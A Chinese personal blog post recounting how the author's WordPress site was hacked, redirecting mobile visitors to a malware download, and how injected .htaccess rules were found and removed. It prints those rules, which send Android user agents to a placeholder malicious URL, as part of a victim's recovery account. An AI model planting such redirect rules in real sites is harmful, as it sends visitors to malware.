跳至主要内容

博客被挂马

博客从前天出现电脑端访问是一片空白,需要输入一个密码,联系主机客服,说是插件导致,后来查看后台发现一个不明文件存在插件文件夹中,然后删除了其中好几个个插件,网站恢复了电脑端的访问,但是我用手机访问却被跳转到另外一个网站上,危险的网站,是俄语的界面,再点击一下,出来一个下载文件,我用手机下载了测试,360手机卫士果然警报说这是危险的应用。不知道是哪个天杀的黑客,黑了我的网站,给我挂一个病毒。

我联系主机客服,他们告知说这是网站被黑了,要自己处理。

但是网上搜索“wordpress网站被黑”等相关词句出来一些并没有多大相关性的文章,后来弄明白了一般这种情况被称为“挂马”,也就是。

百度百科关于挂马的解释如下:


所谓的挂马,就是黑客通过各种手段,包括SQL注入,网站敏感文件扫描,服务器漏洞,网站程序0day, 等各种方法获得网站管理员账号,然后登陆网站后台,通过数据库“备份/恢复”或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容,向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP,然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时,你就会自动的访问被转向的地址或者下载木马病毒。


下一步搜索到一篇文章“WordPress站点被挂马?如何预防、检测和应对?”发布于wp大学网站的。我用手机访问后恶意跳转的问题应当是重定向问题,这篇文章中就讲到.htaccess有可能被利用。结果的检查发现,果然是这货里面,出现了反常代码,至少我能看懂里面的一个url,这个url就是跳转过去的网站链接里面的。

这段恶意代码如下:


RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} “Android” [NC]
RewriteRule ^(.*)$ http://恶意网址/ [L,R=302]
RewriteOptions inherit


那我就直接给删除一试,重新上传.htaccess,再用手机访问,这就正常了。

我估计这次被挂马,可能是插件安装的问题,插件安装不宜过多。最好是通过官方后台并且经过试试与现有版本兼容的插件。

评论

  1. 现在wordpress插件尽力安装知名的插件,这些大插件厂商虽然还是有漏洞爆出,但是会在第一时间发出补丁修改,而小插件就很难保证,还有一个就是wordpress尽力保持精简和备份~以备不时之需

    回复删除

发表评论

此博客中的热门博文

雷洋之死完美官收(多图)

◆雷洋之死真相何在雷洋是中国人民大学环境学院2009级硕士研究生,也是中共党员,毕业后在北京工作,工作单位国务院国有资产监督管理委员会下属的中国循环经济协会,生前职务是协会生态文明中心主任。他和妻子育有一女儿,出生才一月。事发当日5.7,雷得电去机场接奶奶等人,途中被蹲守的地方警员以嫖客身份控制,经几小时的纠缠,雷不幸身亡,当日正好是其结婚纪念日。

邓相超辱毛事件舆论(多图)

➤邓相超其人邓相超为民主党派人士,事前任政府参事、学院副院长教授、研究生指导教师等等职务,详细介绍可网络查询。

摘钢豆

土质很好,没有打药,没有施肥,没有锄草,三无绿色天然食品,就在我们这块土。

其实这地块并不是我们的,家乡修基建已经被征收,土地基本被铲,据说飞机就在最近要试飞,不过最终能不能有实际效用,我看不见得。毕竟相隔不远的赛车基地据说已经搁浅,人人在议论纷纷,有人说要迁往邻镇去,那边也推了大量的农地,巨大的一片,不知道要干什么。有人说不可能,这边已经土地已经征收,也平整了,人员都安置了,到底怕是后续资金跟不上的缘故。